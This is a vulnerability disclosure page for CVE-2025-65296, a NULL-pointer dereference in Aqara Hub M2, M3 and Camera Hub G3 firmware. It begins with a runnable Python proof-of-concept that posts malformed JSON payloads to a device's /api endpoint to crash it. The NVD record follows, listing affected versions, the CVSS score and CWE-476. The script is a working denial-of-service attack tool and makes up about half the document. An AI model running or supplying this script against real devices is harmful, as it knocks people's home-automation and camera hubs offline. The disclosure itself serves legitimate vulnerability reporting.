CVE-2025-65296

#!/usr/bin/env python3 # CVE-2025-65296 PoC - Aqara Hub NULL-pointer Dereference DoS # Author: Security Researcher # Description: Send malformed JSON to trigger NULL-pointer dereference in Hub devices import socket import json import sys def send_malformed_json(target_ip, target_port=80): """Send malformed JSON payload to trigger vulnerability""" # Malformed JSON payloads that may trigger NULL-pointer dereference payloads = [ # Payload 1: Empty string value causing NULL assignment json.dumps({"cmd": "", "data": None}), # Payload 2: Nested structure with special characters json.dumps({"cmd": "\x00\x00", "data": {"nested": ""}}), # Payload 3: Array with null elements json.dumps([None, "", {"key": None}]), # Payload 4: Deeply nested with empty values json.dumps({"level1": {"level2": {"level3": ""}}}) ] for i, payload in enumerate(payloads): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send HTTP POST request with malformed JSON request = f"POST /api HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Type: application/json\r\n" request += f"Content-Length: {len(payload)}\r\n" request += f"\r\n{payload}" sock.send(request.encode()) print(f"[+] Payload {i+1} sent: {payload[:50]}...") sock.close() except Exception as e: print(f"[-] Error sending payload {i+1}: {e}") print("[*] DoS packets sent. Check Hub device responsiveness.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 send_malformed_json(target, port)

{"cve": {"id": "CVE-2025-65296", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:27.257", "lastModified": "2025-12-17T19:46:26.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL-pointer dereference vulnerabilities in Aqara Hub M2 4.3.6_0027, Hub M3 4.3.6_0025, and Camera Hub G3 4.1.9_0027 in the JSON processing enable denial-of-service attacks through malformed JSON inputs."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:*", "matchCriteriaId": "1DA5251B-FBDF-4020-B4AD-8735547D7BAB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A94EB182-2F3B-42B2-935E-72936E6F8F33"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:*", "matchCriteriaId": "4B9661B9-D471-4110-995C-04D9165DEA1F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:*", "matchCriteriaId": "8BC51964-8CAB-4849-A383-0D7D1CA68EE2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:*", "matchCriteriaId": "CF91CB18-CE99-4A86-A94C-7136288E8C33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E823C290-E362-4BE0-9885-9A7B981134BC"}]}]}], "references": [{"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/JSON-NULL-Dereference.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}